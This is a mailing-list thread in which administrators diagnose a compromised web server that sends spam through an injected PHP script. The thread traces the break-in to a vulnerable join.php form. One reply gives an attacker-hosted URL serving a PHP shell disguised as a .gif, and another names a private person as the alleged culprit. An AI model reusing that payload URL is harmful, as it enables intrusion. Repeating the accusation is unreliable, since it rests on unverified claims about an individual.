I don't think that's what this is. Form spam takes advantage of
poorly-coded mail/contact forms and uses them to send mail to recipients
other than those intended by the form designer.

What's happening here is that the spammer is running their own code
(downloaded into /tmp) to send the mail, a rather more serious
situation.

If you have ssh access open there's a fair chance that someone
has done a brute-force password guess.  There is a lot of
that going around.  Or you didn't apply all of the current
updates before exposing the system to the internet.

An old version of awstats will get you into this club, as will some of the
php based forum programs.

All it takes is for someone to install one of these in a document root and
not keep up with the updates. It is insanely trivial to exploit one of
these boxes. It even gets logged in the http logs for all to see.
The hardest part if figuring out when it actually happened so you can find
it in the logs.

I suspect if ssh had been compromised that the user would have been something
other than apache. The passwd entry for apache generally looks something like
this: apache:x:48:48:Apache:/var/www:/sbin/nologin. Given this entry an ssh
login as apache would not be possible via brute force passwd attack vectors.

I looked in those logs and there is none of that. I have ssh turned off and
sudo uninstalled.

I might not know too much but I really think they are using my forms.  I found

Looks like an exploit of a cross-site scripting vulnerability in your
join.php form. http://xpl.netmisphere2.com/CMD.gif is the cracker's PHP
script that gets injected into your form, it's not an image at all.

You need to turn off that form until you can get a fixed version of that
application. And of course reinstall that system.

Thanks Paul, That is what I thought.  I am writing my own topsites anyway, so
that is no big deal.  I will be deleting the other one.

The registrar and registrant are both in France, and yes it is illegal.

The criminal's name is Canale Jeremy and he lives in Paris.

His fake registrant contact data should be enough to have his domain 
shut down, if you LART him upstream, citing false/incomplete contact 
data as the complaint:
